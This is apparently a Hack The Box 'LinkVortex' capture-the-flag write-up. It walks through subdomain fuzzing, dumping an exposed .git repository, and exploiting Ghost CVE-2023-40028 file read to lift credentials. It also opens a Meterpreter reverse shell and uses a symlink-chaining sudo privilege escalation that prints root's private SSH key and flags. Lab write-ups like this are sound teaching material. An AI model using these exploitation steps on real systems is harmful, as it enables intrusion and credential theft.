LinkVortex



IP: 10.129.235.153

Setup Metasploit environment

Open Metasploit
sudo msfconsole
Metasploit Commands
use multi/handler
workspace -a LinkVortex
setg WORKSPACE LinkVortex
setg LHOST 10.10.14.140
setg LPORT 1337
setg SRVHOST 0.0.0.0
setg SRVPORT 9001
setg RHOST 10.129.235.153
setg RHOSTS 10.129.235.153

Info Gathering

Enumerate open ports

```
# Initial Port Scan
db_nmap -p 22,80 -sC -sV -0 -A --open -oN LinkVortex.nmap 10.129.235.153
```

Hosts

Hosts						
address	mac	name	os name	os flavor	os sp	purpose
 10.129.235.153	—	<pre></pre> linkvortex.htb			<u> </u>	server

Services

Services					
host	port	proto	name	state	info
 10.129.235.153 10.129.235.153	22 80	tcp tcp	ssh http	open open	OpenSSH 8.9p1 Ubuntu 3ubuntu0. Apache httpd


Gaining Access

In the nmap scan results a robots.txt file was found and enumerated

A robots txt file is used to tell bots such as Google on the internet to leave the URIs off of their search results and ignore them in their scans

The use of this file may expose useful URIs of a site that may not have otherwise been found

Screenshot Evidence



When visiting <u>http://10.129.235.153</u> in my browser I am forwarded to <u>http://linkvortex.htb/</u> I updated my hosts file to include an entry for this resolution

Edit File
sudo vim /etc/hosts
Add Line
10.129.235.153 linkvortex.htb

Screenshot Evidence



This allowed me to visit the site LINK: <u>http://linkvortex.htb/</u>

BitByBit Hardware

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The Power Supply

The CMOS

May 7, 2024 • 2 min read

A power supply unit (PSU) converts the alternating current (AC) from your wall outlet into direct current (DC) that the computer components require. It...

Aug 5, 2024 - 2 min read

CMOS is a type of semiconductor technology used to store small amounts of data on the motherboard. This data includes system settings and configuratio....

The Video Graphics Array

The term VGA can refer to either the Video Graphics Array specification or the physical VGA connector often used for computer video output. Below, I'll...

Apr 16, 2024 • 2 min read

There is not much on this main page. Checking Burpsuite shows a lot of URI paths but not the ones seen in robots.txt

Visiting the robots.txt URIs an admin login page is discovered. The other URIs were all 404s **LINK**: <u>http://linkvortex.htb/ghost/#/signin</u>

Screenshot Evidence

0	
Sign in to B Hardwa	
Email address	
jamie@example.com	
Password	
	Forgot?
Sign in →	

The 404 pages could be the result of an incorrect vhost name being used in the webpage. I fuzzed to discover possible names

Discover subdomains for the site

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.linkvortex.htb' -u
http://10.129.235.153 -ac -c

This discovered a new subdomain dev.linkvortex.htb **Screenshot Evidence**

dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 86ms] :: Progress: [4989/4989] :: Job [1/1] :: 671 req/sec :: Duration: [0:00:08] :: Errors: 0 ::

I added dev.linkvortex.htb to my hosts file


Edit File
sudo vim /etc/hosts
Add Line
10.129.235.153 dev.linkvortex.htb linkvortex.htb

Screenshot Evidence

	127.0.0.1 localhost
	127.0.1.1 kali
3	10.129.235.153 dev.linkvortex.htb linkvortex.htb
4	
5	# The following lines are desirable for IPv6 capab
6	::1 localhost ip6-localhost ip6-loopback
	ff02::1 ip6-allnodes
8	ff02::2 ip6-allrouters

The robots.txt URIs did not work with this site but it did find an under contrsuction site LINK: <u>http://dev.linkvortex.htb/</u>

Screenshot Evidence



There are no comments or calls to other pages. You can use ffuf to discover other possible URLs


This discoveres a .git URI LINK: <u>http://dev.linkvortex.htb/.git/</u> Screenshot Evidence

:: Method	: GET
:: URL	: http://dev.linkvortex.htb/FUZZ
:: Wordlist	: FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
:: Follow redirects	: false
:: Calibration	: true
:: Timeout	: 10
:: Threads	: 40
:: Matcher	: Response status: 200-299,301,302,307,401,403,405,500
.git/HEAD	[Status: 200, Size: 41, Words: 1, Lines: 2, Duration: 71ms]
.git/logs/	[Status: 200, Size: 868, Words: 59, Lines: 16, Duration: 75ms]
.git	[Status: 301, Size: 239, Words: 14, Lines: 8, Duration: 74ms]
.git/config	[Status: 200, Size: 201, Words: 14, Lines: 9, Duration: 74ms]
.git/index	[Status: 200, Size: 707577, Words: 2171, Lines: 2172, Duration: 70ms]
index.html	[Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 60ms]
:: Progress: [4734/4	734] :: Job [1/1] :: 537 req/sec :: Duration: [0:00:08] :: Errors: 0 ::

I used a git disclosure tool to obtain all files in this repo from every change **TOOL**: <u>https://github.com/lijiejie/GitHack/blob/master/GitHack.py</u>

```
# Clone tool to attack machine
git clone https://github.com/lijiejie/GitHack.git
cd GitHack
# See how to use it
python3 GitHack.py
```

Execut the command
python3 GitHack.py -u http://dev.linkvortex.htb/.git/



Use grep to search for credentials

Filter for passwords
grep -A2 -B2 -R -i password dev.linkvortex.htb/* 2>/dev/null

This discovered a few possible passwords

- OctopiFociPilfer45
- thisissupersafe
- lel123456
- 12345678910



I was able to login successfully using the password I found **LINK**: <u>http://linkvortex.htb/ghost/#/signin</u>


Username	Password
admin@linkvortex.htb	OctopiFociPilfer45

Screenshot Evidence

admin admin@linkvortex.htb	The Mother
What's new? • Your profile	View all post
Help center Resources & guides	
Sign out	

A browser add-on I use called Wappalyzer shows the Ghost verison being used is Ghost v5.58

Screenshot Evidence



I ran a Google search for "ghost 5.58 exploit" and found CVE-2023-40028 I searched for a Proof on Concept and found a tool to use **REFERENCE**: <u>https://github.com/0xyassine/CVE-2023-40028/tree/master</u>

Gregle	ghost 5.58 exploit				
	All Videos Images Shopping News Forums Web : More				
	Snyk https://security.snyk.io > > npm > ghost				
	ghost 5.58.0 vulnerabilities				
	ghost is a publishing platform. Affected versions of this package are vulnerable to Improper Acc				
	Control via some endpoints used for member actions.				
	O GitHub https://github.com > Ghost-5.58-Arbitrary-File-Read-CV				
	Ghost Arbitrary File Read Exploit (CVE-2023-40028)				
	5 days ago — CVE-2023-40028 affects Ghost, an open source content management system, w versions prior to 5.59.1 allow authenticated users to upload				

Download the PoC
wget https://raw.githubusercontent.com/0xyassine/CVE-2023-40028/refs/heads/master/CVE-2023-40028.sh

See how to use it
chmod +x CVE-2023-40028.sh

The exploit needs to be modified because I am not defining the URL in the command line arguments. I harded coded them into the script then executed the exploit which is an LFI

```
# Run the exploit
./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
```

Screenshot Evidence

```
(root® kali)-[~/HTB/Boxes/LinkVortex]
└─# ./CVE-2023-40028.sh -u "admin@linkvortex.htb" -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
file> |
[HTB] 0:ovpn 1:msf 2:util* 3:bash-
```

I listed users in the /etc/passwd file but was unable to get SSH keys for any users likely because of correct permissions


I checked the Ghost documentation looking for a config file that may have credential information or environment variables

REFERENCE: https://ghost.org/docs/config/

They listed a couple files I want to read

1. config.development.json

2. config.production.json



I checked my git repo for those files and it gave me a location

Filter for those file names to identfiy location
grep -R 'config' ~/HTB/Boxes/LinkVortex/GitHack/dev.linkvortex.htb/*

Screenshot Evidence

—(root⊛kali)-[~/HTB/Boxes/LinkVortex/GitHack/dev.linkvortex.htb] -# grep -R 'config' ~/HTB/Boxes/LinkVortex/GitHack/dev.linkvortex.htb/* root/HTB/Boxes/LinkVortex/GitHack/dev.linkvortex.htb/Dockerfile.ghost:# Copy the config root/HTB/Boxes/LinkVortex/GitHack/dev.linkvortex.htb/Dockerfile.ghost:COPY config.production.json <mark>/var/lib/ghost/config.production.jso</mark>r

I ran the exploit against that file and found another set of credentials

CVE File Command
/var/lib/ghost/config.production.json

Username	Password
bob@linkvortex.htb	fibber-talented-worth



I was able to successfully login with those credentials and read the user flag



```
To restore this content, you can run the 'unminimize' command.
Last login: Tue Dec 3 11:41:50 2024 from 10.10.14.62
bob@linkvortex:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@linkvortex:~$ hostname
linkvortex
bob@linkvortex:~$ hostname -I
10.129.235.153 172.17.0.1 172.20.0.1
bob@linkvortex:~$ cat ~/user.txt
25955b985de29c1c9de0f4a7ce3969f0
bob@linkvortex:~$
[HTB] 0:ovpn 1:msf 2:util* 3:bash-
```

I then used an SSH session in Metasploit and upgraded it to a Meterpreter

Metasploit Commands
search ssh_login
use scanner/ssh/ssh_login
set USERNAME bob
set PASSWORD fibber-talented-worth
run -j
sessions -u 1

Screenshot Evidence

```
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.14.140:1337
[*] Sending stage (1017704 bytes) to 10.129.235.153
[*] Meterpreter session 2 opened (10.10.14.140:1337 → 10.129.235.153:37278)
[*] Command stager progress: 100.00% (773/773 bytes)
msf6 auxiliary(scanner/ssh/ssh_login) >
```

USER FLAG: 25955b985de29c1c9de0f4a7ce3969f0

PrivEsc

I checked my sudo permissions and see I am able to execute a bash script without a password as anyone including root

```
# Read sudo permissions
sudo -l
# Can execute below command
/usr/bin/bash /opt/ghost/clean_symlink.sh *.png
```

Screenshot Evidence

```
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local
User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
bob@linkvortex:~$ |
[HTB] 0:ovpn 1:msf 2:util* 3:bash-
```

View the contents of the script /opt/ghost/clean_symlink.sh

Read file
cat /opt/ghost/clean_symlink.sh

```
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK CONTENT ];then
  CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi
```

In the script I can see that absolute paths to commands are used so there would be no way to exploit a writeable PATH directory

The command rm is not used which we can check exploiting the use of wildcards in when there is no -- to indicate no more arguments specified.

I have to exploit what is in the script

Bob is the only user with a home directory so there will not be another user to compromise. If the variable CHECK_CONTENT is true the script will return the contents of a file



I will include that in my sudo command so when I run the script as root it has that environment variable The LINK variable has to end in .png and is the first argument specified

If the root user has an SSH key in /root/.ssh/id_rsa I can create a symlink to it at tobor.png I need to create another symlink with the .png file extension required by sudo creating tobor2.png. The reason for this is the script checks to see if root is in the directory path and if it is does not perform the operation we want it to

I was able to successfully get the root private key

<pre># Create a symlink for the root users private key file ln -s /root/.ssh/id_rsa /home/bob/tobor.png</pre>
<pre># Create another symlink to bypass the scripts detection of the root directory ln -s /home/bob/tobor.png /home/bob/tobor2.png</pre>
<pre># Run the script with sudo sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/tobor2.png</pre>

Screenshot Evidence

bob@linkvortex:~\$ ln -s /root/.ssh/id_rsa /home/bob/tobor.png bob@linkvortex:~\$ ln -s /home/bob/tobor.png /home/bob/tobor2.png bob@linkvortex:~\$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/tobor2.png Link found [/home/bob/tobor2.png] , moving it to quarantine Content: BEGIN OPENSSH PRIVATE KEYb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAmpHVhV11MW7eGt9WeJ23rVuqlWnMpF+FclWYwp4SACcAilZdOF8T q2egYfeMmgI9IoM0DdyDKS4vG+lIoWoJEfZf+cVwaZIzTZwKm7ECbF20y+u2SD+X7lG9A6 V1xkmWhQWEvCiI22UjIoFkI0oOfDrm6ZQTyZF99AqBVcwGCjEA67eEKt/5oejN5YgL7Ipu 6sKpMThUctYpWnzAc4yBN/mavhY7v5+TEV0FzPYZJ2spoeB30GBcVNzSL41ctOigGVZ7yX TQ6pQUZxR4zqueIZ7yHVsw5j0eeqlF80vHT81wbS5ozJBgtjxySWrRkkKAcY11tkTln6NK CssRzP1r9kbmgHswClErHLL/CaBb/04g65A0×ESAt5H1wuSXgmipZT8Mq54lZ4ZNMgPi53 jzZbaHGHACGxLgrBK5u4mF3vLfSG206ilAgU1sUETdkVz8wYuQb2S4Ct0AT14obmje7oqS 0cBqVEY8/m6olYaf/U8dwE/w9beosH6T7arEUwnhAAAFiDyG/Tk8hv05AAAAB3NzaC1yc2 EAAAGBAJqR1YVddTFu3hrfVnidt61bqpVpzKRfhXJVmMKeEgAnAIpWXThfE6tnoGH3jJoC PSKDNA3cgykuLxvpSKFqCRH2X/nFcGmSM02cCpuxAmxdjsvrtkg/l+5RvQ0ldcZJloUFhL

I created a file and added the private key into it called root-linkvortex.htb

```
----BEGIN OPENSSH PRIVATE KEY-----
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
                      dEBsaW5rdm9vdGV4A0IDBA==
-----END OPENSSH PRIVATE KEY-----
```

I set the correct permissions on the key file and logged in to read the root flag

Set permissions for ssh key
chmod 600 root-linkvortex.key
SSH in
ssh root@linkvortex.htb -i root-linkvortex.key
Read the root flag
cat /root/root.txt
RESULTS
bc7cd67cb13638cd7d1b9674d264d333

Screenshot Evidence

Last login: Mon Dec 2 11:20:43 2024 from 10.10.14.61
root@linkvortex:~# cat /root/root.txt
bc7cd67cb13638cd7d1b9674d264d333
root@linkvortex:~# id
uid=0(root) gid=0(root) groups=0(root)
root@linkvortex:~# hostname
linkvortex
root@linkvortex:~# hostname -I
10.129.235.153 172.17.0.1 172.20.0.1
root@linkvortex:~# |
[HTB] 0:ovpn 1:msf 2:util- 3:ssh*

ROOT FLAG: bc7cd67cb13638cd7d1b9674d264d333